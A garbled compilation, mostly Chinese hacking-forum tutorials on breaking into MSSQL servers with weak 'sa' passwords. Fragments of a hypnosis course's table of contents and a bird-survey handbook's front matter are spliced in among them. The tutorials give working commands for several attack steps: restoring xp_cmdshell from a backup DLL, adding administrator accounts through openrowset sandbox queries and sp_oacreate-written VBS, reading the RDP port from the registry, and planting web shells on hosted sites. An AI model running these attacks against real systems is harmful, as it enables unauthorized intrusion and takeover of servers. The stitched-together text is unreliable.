这种情况大家在提权过程中经验遇到啊，它是由于xplog70.dll这个文件被删除或者做了其他限制，导致出现这个错误的这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用，无法执行命令提权自然就无从说起了，当然我们还可以考虑其他的存储过程如：sp_oacreate和sp_oamethod来直接添加帐号，或者使用沙盘指令来提权，但这台服务器，这些功能都被限制了，还是考虑下恢复xplog70.dll了，测试上传无法成功，这条路走不通了，这时就考虑用到工具的文件管理功能了看到了把，和windows的资源管理器一样好用，目录列出来了，搜索一下可以用来提权的东西吧，这里我们首先要去看看sql的安装路径里的xplog70.dll文件是否存在看到吧，xplog70.dll文件不见了，被删除了，xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西d盘下有几个网站和几个论坛，这些都是有用的信息，一旦sql的错误无法恢复的时候，我们就可以考虑通过这些网站来进行提权了，网站的提权，我就是搞不定，痛苦啊＝＝！！继续搜索在e盘下竟然有个sql2000的原始安装文件备份，怦然心动的感觉是美妙的，感谢我们亲爱的服务器管理员大人，看看这是什么＝＝＝＝e:\备份软件\MS Sql 2000\DEVELOPER\X86\BINN\那我们就开始恢复试试吧，切换到sql命令项，输入指令exec sp_dropextendedproc 'xp_cmdshell' //这个指令是删除sql数据库的xp_cmdshell的存储过程接着输入指令，重新加载新路径的存储过程。
催眠授证培训课程初级讲义(中文)
催眠授证培训课程目录（初级部分）催眠治疗基础知识 (9)催眠是什么？ (11)意识与潜意识 (11)催眠状态 (13)日常生活中的催眠状态 (15)催眠的历史 (17)埃里克森催眠原理 (19)催眠治疗的步骤 (21)催眠过程中的交流 (23)体验催眠 (25)催眠练习中的角色扮演 (25)“对，就是这样。
”导入法 (27)自我催眠 (29)自我催眠 (31)第一步：具体明确的目标 (33)基本目标设定 (33)使用积极正面的词语 (33)具体而明确地表达 (33)能够通过自身努力达到 (35)完全适合自己 (35)第二步：进入潜意识 (37)将意愿交给潜意识 (37)四种放松的方法 (39)意念守定法 (41)渐进式放松法 (43)三二一法 (47)忆想法 (49)第三步：成功景象法 (51)第四步：返回“平常”意识状态 (53)第五步：成功状态模拟法 (55)催眠语言模式 (57)催眠暗示（指令）的种类 (59)以暗示的内容分类 (61)以暗示所用的人称分类 (63)跟导式催眠法 (65)跟导式催眠法的语言模式 (67)米尔顿模式 (69)间接暗示分类 (73)注意力导向指念 (73)隐含式指念 (73)真实陈述指念 (75)开放式指念 (75)或类比可择暗示 (75)万全选择暗示 (77)反义并列式暗示 (77)意识与潜意的联结 (79)利用间接暗示创建“催眠绕口令”（“Hypnotic Patter”） (81)基利肯环 (83)三句式导入法 (85)改变的语言 (87)潜意识的智慧 (89)创意 (89)习惯模式 (89)运用潜意识的智慧 (91)意义 (91)松动旧有模式 (93)隐含预设语句 (95)模糊语句 (95)过载式语句 (97)并列对比语句 (99)用反义创建对比 (101)文字游戏 (103)催眠导入 (105)先跟后带式导入 (109)先跟后带式导入技巧 (111)“艾曼”导入法 (113)第一节 (113)第二节 (113)第三节 (113)第四节 (115)第五节 (117)价值观导入法 (119)价值观导入法举例 (121)米尔顿.埃里克森导入法技巧 (123)催眠深化技巧 (127)催眠深度分级 (129)催眠深化技巧 (131)倒数法 (131)楼梯或电梯下行法 (133)故事诱导法 (133)混淆法 (135)综合技巧 (135)运用催眠现象 (137)催眠现象例举 (139)催眠现象分类 (141)相反的催眠现象 (141)日常生活中的催眠现象 (143)诱导催眠现象 (143)一个手臂悬浮催眠的技巧 (145)催眠后暗示 (147)催眠后暗示基础 (149)运用分离现象 (151)诱导分离现象的技巧 (151)运用症状 (153)症状作为一种催眠状态 (155)日常困扰人们的各类催眠状态 (155)识别症状性的催眠状态 (157)状诊断及干预方案制定 (159)时间在催眠中的运用 (161)利用过去 (163)导入过去 (163)为什么要利用过去 (163)年龄回溯 (165)年龄回溯技巧 (165)用于获取资源（能力）的年龄回溯 (167)改变某个经历留下的影响 (169)生活的迷宫 (171)时间幻觉引导法 (175)水晶球技巧 (179)催眠治疗基础知识催眠治疗基础知识 (9)催眠是什么？ (11)意识与潜意识 (11)催眠状态 (13)日常生活中的催眠状态 (15)催眠的历史 (17)埃里克森催眠原理 (19)催眠治疗的步骤 (21)催眠过程中的交流 (23)体验催眠 (25)催眠练习中的角色扮演 (25)“对，就是这样。
鸟类调查方法实用手册
鸟类调查方法实用手册Methods for Bird Surveys – a practical handbook编者： 马嘉慧、刘阳、雷进宇出版： 香港观鸟会有限公司香港邮政总局信箱12460号电话： (852) 2377 4387传真： (852) 2314 3687电邮： hkbws@.hk(一般)info@(中国项目)网站： .hk赞助： Darwin Initiative(达尔文基金)支持机构： 国际鸟盟/香港观鸟会中国项目、北京观鸟会(筹)资料及图片提供： 国际鸟盟、香港观鸟会、北京观鸟会、厦门观鸟会、陈承彦、张洁、张浩辉、周家礼、何万邦、吕德恒、李海涛、苏毅雄、黄伦昌、余日东、GeoffCarey、Mike Crosby、John Holmes、Richard Lewthwaite、W.J.Sutherland、印刷： 4M Studio2006年3月出版国际参考书号（ISBN）：962-7508-07-1本手册所载的所有文字及照片，一律不得以任何方式复制、复印、储存于可存取系统或传送。
根据香港现行“版权条例”允许之私人研究、研习、评赏或评鉴等合法用途，则属例外。
书中照片及文字的知识产权均属于提供照片的摄影师和文字作者所有。
封面和封底图片： 张浩辉、江明亮、方健华、何文辉、洪家耀、马嘉慧鸟类调查方法实用手册 Methods for Bird Surveys – a practical handbook赞助出版支持机构引言生物研究工作依赖于高质量的野外工作，以及对种类的准确鉴别技术，而鸟类由于大多具有艳丽的色彩、容易被观察到、并具有高声鸣叫的特点，成为了最容易调查的动物类群之一；因此鸟类研究也是众多野生生物研究中，被较多人所认识的。
自鸟类学发展至今，因为研究的广泛参与性，鸟类无疑成为了被调查最频繁的生物。
许多研究计划广泛吸收了许多的观鸟者参与其中的鸟类调查和监测工作，使得鸟类调查在所有环境监测中是最经济有效的。
1433之黑吃黑杀手锏-沙盒模式提权
很多情况下，到这里应该执行会成功了，dllcache\下的net net1 一般人不会去禁用。
如果，连dllcache\目录下的net net1都被禁用 用户添加不了 又该怎么办?
························
依照是我 ，我会用c:\windows\system32\ias\ias.mdb 来调用system32下的xcopy.exe来执行命令 ，先说说xcopy是干什么用的 xcopy命令可以用来复制替换文件。
1433好扫，但是难入侵啊!
不是127错误，就是命令被禁用。 不是缺少哪个DLL文件，就是126错误。
哈，甚至连映像劫持、asshell、jobshell、seshell全部都使用不了，甚至SQL语句读写注册表都不行，该如何办?
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user user pass /add")')
···总算打字完了，，，我没有服务器做实验，所以没有图片 只有文字······
我已经做尽力的解释了，但是肯定还有人看不懂。那只能慢慢去读了。
现在没用cmd.exe了 直接利用c:\windows\system32\ias\ias.mdb来调用net 来添加用户。在net.exe没被禁用的情况下，很多的机子是可以添加成功的，接下来
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators user /add")') 就OK了
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授渔之<一次1433端口提权的过程>随着网络安全意识的提高，很多服务器的安全防范都非常严了，本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器，于是研究一段时间，虽然进步不大，但是还是想把经验分享一下，正所谓授人以鱼不如授人以渔，而我现在正是告诉你打鱼的方法，下面就以一台服务器为例了，本例使用工具为SQL TOOLS 2.0，论坛有下，请自行搜索。
插播不是广告的广告：该工具集成度高，简单的sql指令无须使用分离器，直接在此工具中执行即可，其文件管理功能非常强大，反正我用着太顺手了，推荐一下，本文原创发布于＝华夏黑客同盟论坛＝（）广告完毕。
把扫到的ip和sa及口令填入连接后，用dos命令功能试试列目录显示错误信息：Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。
原因: 126(找不到指定的模块。
)。
这种情况大家在提权过程中经验遇到啊，它是由于xplog70.dll这个文件被删除或者做了其他限制，导致出现这个错误的这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用，无法执行命令提权自然就无从说起了，当然我们还可以考虑其他的存储过程如：sp_oacreate和sp_oamethod来直接添加帐号，或者使用沙盘指令来提权，但这台服务器，这些功能都被限制了，还是考虑下恢复xplog70.dll了，测试上传无法成功，这条路走不通了，这时就考虑用到工具的文件管理功能了看到了把，和windows的资源管理器一样好用，目录列出来了，搜索一下可以用来提权的东西吧，这里我们首先要去看看sql的安装路径里的xplog70.dll文件是否存在看到吧，xplog70.dll文件不见了，被删除了，xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西d盘下有几个网站和几个论坛，这些都是有用的信息，一旦sql的错误无法恢复的时候，我们就可以考虑通过这些网站来进行提权了，网站的提权，我就是搞不定，痛苦啊＝＝！！继续搜索在e盘下竟然有个sql2000的原始安装文件备份，怦然心动的感觉是美妙的，感谢我们亲爱的服务器管理员大人，看看这是什么＝＝＝＝e:\备份软件\MS Sql 2000\DEVELOPER\X86\BINN\那我们就开始恢复试试吧，切换到sql命令项，输入指令exec sp_dropextendedproc 'xp_cmdshell' //这个指令是删除sql数据库的xp_cmdshell的存储过程接着输入指令，重新加载新路径的存储过程。
dbcc addextendedproc ("xp_cmdshell","e:\备份软件\MS Sql2000\DEVELOPER\X86\BINN\xplog70.dll")不用理会下面提示的error Message信息，再去列目录试试，看看是否成功了接着当然是net user 添加用户提权了，cmd命令没有被限制，添加成功，忘记查看下端口了sql命令：exec master..xp_regread'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'汗啊～～终端端口竟然被改成52981了，下面去开终端用刚建的帐号登录试试了授渔之<从1433弱口令到webshell>前两天给大家做了个1433恢复提权的教程，反响不错，今天再给大家带来个1433提权拿w ebshell的教程。
由于本人对webshell提权属于bc一类，本讲只讲如果通过1433弱口令到拿到webshell，请谅解，本教程无什么技术含量，请高手不要见笑，本实例讲解，原创于=华夏黑客同盟论坛=().本实例教程使用到的工具：SQL TOOLS 2.0Isqlw分离器修正版某人的小马一只，被我加工过一点^_^洪儿制作的大马一只，在SQL TOOLS 2.0的工具中填写扫到的ip连接，运行dos列目录命令提示Error Message:xpsql.cpp: 错误5 来自CreateProcess(第737 行)这个错误的原因比较复杂，有时是cmd命令被删除，有时是cmd命令的权限被限制，等等原因吧，恢复的可能性很小，具体的，我也没研究透彻，留待以后再探讨了，或者有大牛知道的，告诉我学习一下。
收集下服务器的信息，sql指令输入EXEC xp_msver服务器是个win2003两核1.5G等相关信息都显示出来了。
下面我们考虑下其他方法，另辟蹊径吧，使用文件管理功能查询个个磁盘下的文件有没有什么可以利用来提权的有幸在D盘下发现了一个wwwroot的目录，这个目录一般为服务器里存放网站的目录，进去看看了，发现了几个网站那就去收集下里面网站的信息吧，在目录里的找到了网站的域名等相关信息，网站为a sp+MSsql的网站，下面考虑传个小马到这个网站根目录去。
我传小马的方法，有点特别，我来给你慢慢讲解，由于服务器限制了上传功能，sqltool s的上传功能无法实现，只好考虑通过sql分离器来上传了，这个上传命令很多人曾用来创建用户提权，我试过了，无法提上来，只好另做他用了。
代码：declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.N ETWORK")'exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&puterName 'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,gro up")'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo 'exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) 'exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'我的小马就是通过这个写入功能来改造上传的，小马我等下发出来。
废话说了很多了，再说明一点，这个上传需要到的sql的存储过程为sp_oacreate和sp_ oamethod这两个，如果这两个存储过程被禁用了，那就想办法恢复了，恢复的思路和上次教程一样。
提示命令已经完成，我们试试连接小马试试连接成功，填好上传路径及文件名，下面填好要上传大马的内容提示yes，那么就是上传成功了连接下大马看看这样就得到了网站的webshell了，具体怎么提权，会的人应该很容易搞定的，我也正在学习中本文只是揭示下通过1433的弱口令能做很多事，不能恢复的，我们可以通过其他途径来提权。
我想玩这个脑子要灵活，思路要开阔，菜鸟的菜文就写到这里了。
谢谢授渔之1433弱口令利用shift功能巧妙提权这是第三次发有关1433弱口令的教程了，前面两次教程也针对1433的修复和提权进行了详细的讲解，今天依然给大家带来一个1433弱口令的提权方法。
说是巧妙，其实很多大牛早就在使用了，本教程旨在对初学1433弱口令提权的菜鸟们，高手请无视。
连接弱口令主机随便运行个dos命令，看到错误提示：Error Message:xpsql.cpp: 错误5 来自CreatePr ocess(第737 行)上一期教程的服务器也是这个错误，我们绕过错误去拿webshell，是寻找服务器上的网站，利用分离器传小马，再传大马。
这期我们就讲下这个错误产生的原因，以及巧妙的修复其实也可以说是绕过他来提权。
错误5是个系统提示的错误号，CreateProcess这个是创建线程的意思，这个错误产生和系统文件cmd.exe有很大的关系，一种情况是cmd被删除，一种是cmd的权限被降低了。
(如果我这种说法有什么错误，请高手指出一下，本人理解的是这样)。
去windows\system32目录和sql的安装目录去看看，是否需要的文件都在cmd.exe存在odsole70.dll存在，为什么要看这个文件是否存在?因为我们等下要用到的存储过程需要到这个文件。
下面先查看下终端端口及开放情况sql指令输入exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Contr ol\Terminal Server\WinStations\RDP-Tcp','PortNumber'返回成功，终端端口为78打开3389连接命令mstsc连接IP:78 出现登录界面，证明78端口是对外开放的。